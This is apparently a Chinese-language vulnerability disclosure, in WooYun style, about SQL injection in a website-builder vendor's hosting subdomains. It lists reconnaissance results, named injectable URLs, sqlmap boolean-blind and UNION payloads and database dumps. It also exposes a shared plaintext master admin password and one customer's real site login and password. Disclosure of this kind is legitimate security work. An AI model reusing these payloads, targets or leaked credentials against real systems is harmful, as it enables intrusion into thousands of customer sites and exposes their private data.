[漏洞]某建站厂商存在SQL注入导致数万付费网站沦陷

重要信息收集

[+] Emails found:

------------------

david@iecworld.com

admin@iecworld.com

divid@iecworld.com

[+] Hosts found in search engines:

------------------------------------

122.227.230.250:server.iecworld.com

61.130.97.52:www.iecworld.com

114.80.68.133:testweb5.iecworld.com

61.130.97.53:wiki.make.iecworld.com

114.80.67.29:testweb7.iecworld.com

114.80.68.191:testweb6.iecworld.com

61.130.97.55:shop.testweb.iecworld.com

61.130.97.53:cn.iecworld.com

61.130.97.55:testweb.iecworld.com

60.191.124.236:admin.iecworld.com

61.130.97.54:make1.iecworld.com

61.130.97.53:make.iecworld.com

60.191.124.236:is-service.iecworld.com

61.130.97.53:service.iecworld.com

60.191.124.236:is-testweb7.iecworld.com

61.130.97.52:file.iecworld.com

60.191.124.236:hk.iecworld.com

60.191.124.236:253Dcn.iecworld.com

提取有用信息

testwebN.iecworld.com 

1.上面这种域名是用来测试访问网站的(比如客户住域没有备案或者还没购买,先通过这个域名的二级目录来访问)

2.有N个这类二级域名

3.每个这类二级域名下存在数千客户网站

于是查找注入点

简单的找了下每个二级域下的SQL注入点:

testweb 61.130.97.55

http://testweb.iecworld.com/yining/admin/login.php

testweb2 61.130.97.52 主站

http://testweb2.iecworld.com/suotie/admin/login.php

testweb3 114.80.68.131

http://testweb3.iecworld.com/wangxiang/cn/products.php?tid=18&id=1

testweb4

testweb4.iecworld.com/lnr/cn/faqed.php?id=11&gid=1

testweb5

testweb6

testweb7

http://testweb7.iecworld.com/dongfang/cn/products.php?act=list&id=7

通过注入点拿到数据库权限:

Place: GET  
Parameter: TypeLevel  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=19&TypeLevel=1 AND 8971=8971&pid=19  
Type: UNION query

Title: MySQL UNION query (NULL) - 11 columns

Payload: id=19&TypeLevel=1 UNION ALL SELECT NULL,CONCAT(0x7170746271,0x4d597259547178556155,0x7171707a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&pid=19  

testweb的数据库

web application technology: PHP 5.2.13, Apache 2.2.15

back-end DBMS: MySQL >= 5.0.0

[*] 'yining'@'localhost'

available databases [4]:

[*] information_schema

[*] maindb

[*] test

[*] yining

Database: maindb

[10 tables]

+---------------------------------------+

| t_admin |

| t_bak |

| t_dict |

| t_feedback |

| t_language |

| t_log |

| t_model |

| t_plugin |

| t_progress |

| t_timeline |

+———————————————————+

testweb2的maindb库

Database: maindb 

[12 tables]

+------------+

| books |

| company |

| t_admin |

| t_bak |

| t_dict |

| t_feedback |

| t_language |

| t_log |

| t_model |

| t_plugin |

| t_progress |

| t_timeline |

+——————+



testweb3的maindb库

Database: maindb

[6 tables]

+------------+

| books |

| company |

| t_admin |

| t_bak |

| t_dict |

| t_feedback |

+------------+

通过分析得出以下结论:

1.每个客户网站只有自己数据库权限和一个名为mainbd库的权限

2.通过分析maindb表结构发现里面竟然存了该二级域名下的所有网站相关信息(管理员帐号密码/反馈/备份/日志/插件等)

3.每个二级域的maindb库里面的的客户信息表都是t_admin,并且密码没有加密

4.每个二级域的maindb库管理员表里面都有一个admin ps99379937的管理员帐户,按理说如果是存放客户的密码,为什么会都有这个帐号呢,于是继续深入下去发现了每个二级域都有一个总的管理后台(e.g testweb2.iecworld.com/admin)

漏洞证明

使用admin ps99379937可以登陆所有后台,如下

testweb.iecworld.com/admin (主要是11年建设的网站,共1940个客户)

testweb2.iecworld.com/admin (主要是11年建设的网站,共1689个客户)

testweb3.iecworld.com/admin (主要是11年建设的网站,共1100个客户)

testweb4.iecworld.com/admin (主要是12年建设的网站,共1143个客户)

testweb5.iecworld.com/admin (主要是11年建设的网站,共1689个客户)

testweb6.iecworld.com/admin (主要是13年建设的网站,共1273个客户)

testweb7.iecworld.com/admin (主要是13年建设的网站,共1093个客户)

testweb8.iecworld.com/admin(主要是14年建设的网站,共483个客户)

testweb9.iecworld.com/admin (主要是14年的)

testweb10.iecworld.com/admin (主要是14年的)

testweb11.iecworld.com/admin (主要是14年的)

上面截图是其中一个二级域名的管理后台:可以看到很多机密信息

所有客户网站后台均可以登陆

从testweb的maindb.t_admin随便挑选一个用户

2644,102,宁波,朱宁斌,,lixiang,4,0,0,5000,李勇,100,lixiang,陈海啸,3lxanc85,,1,2,0,D0:D1:D2:D3:F0:F1:F2:F3:F4:F5:F6:F7:F8:F9:F10:E0:E1:E2:E3:E4:E5:E6:E7:E8:E9:E10:G0:G1:G2:G3:G4:G13:G5:G6:G7:G8:I0:I1:I2:I3:O1:O2,2009-04-30 16:24:58,http://chinalx.com,2010-02-12 00:00:00,100,宁波理想信息工程有限公司,cn/index.php,2009-02-12 00:00:00,,宁波理

想信息工程有限公司

宁波理

想信息工程有限公司(http://www.chinalx.com/)

登陆地址:http://www.chinalx.com/admin/

帐号:lixiang 密码3lxanc85

粗略测试了下,客户案例里面大部分都能登陆并获取到网站后台权限和数据库权限甚至源码

点到为止,不继续挖了

传送乌云